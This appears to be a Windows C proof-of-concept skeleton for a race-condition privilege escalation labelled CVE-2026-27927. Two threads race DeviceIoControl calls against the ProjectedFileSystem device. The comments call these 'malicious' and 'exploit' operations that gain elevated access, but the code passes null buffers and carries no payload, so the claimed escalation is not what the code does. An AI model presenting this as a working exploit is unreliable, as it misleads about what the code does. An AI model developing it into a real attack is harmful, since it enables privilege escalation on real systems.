#include <windows.h>
#include <stdio.h>
// Simulated Race Condition PoC Structure
// This is a conceptual representation for CVE-2026-27927
DWORD WINAPI Thread1(LPVOID lpParam) {
// Attacker attempts to modify the shared resource state
HANDLE hDevice = (HANDLE)lpParam;
// Malicious operation to change state
DeviceIoControl(hDevice, 0x222003, NULL, 0, NULL, 0, NULL, NULL);
return 0;
}
DWORD WINAPI Thread2(LPVOID lpParam) {
// Attacker attempts to access the resource before synchronization
HANDLE hDevice = (HANDLE)lpParam;
// Exploit operation to gain elevated access
DeviceIoControl(hDevice, 0x222004, NULL, 0, NULL, 0, NULL, NULL);
return 0;
}
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\ProjectedFileSystem", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device.\n");
return 1;
}
HANDLE hThreads[2];
// Create threads to race against each other
hThreads[0] = CreateThread(NULL, 0, Thread1, hDevice, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, Thread2, hDevice, 0, NULL);
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
CloseHandle(hDevice);
return 0;
}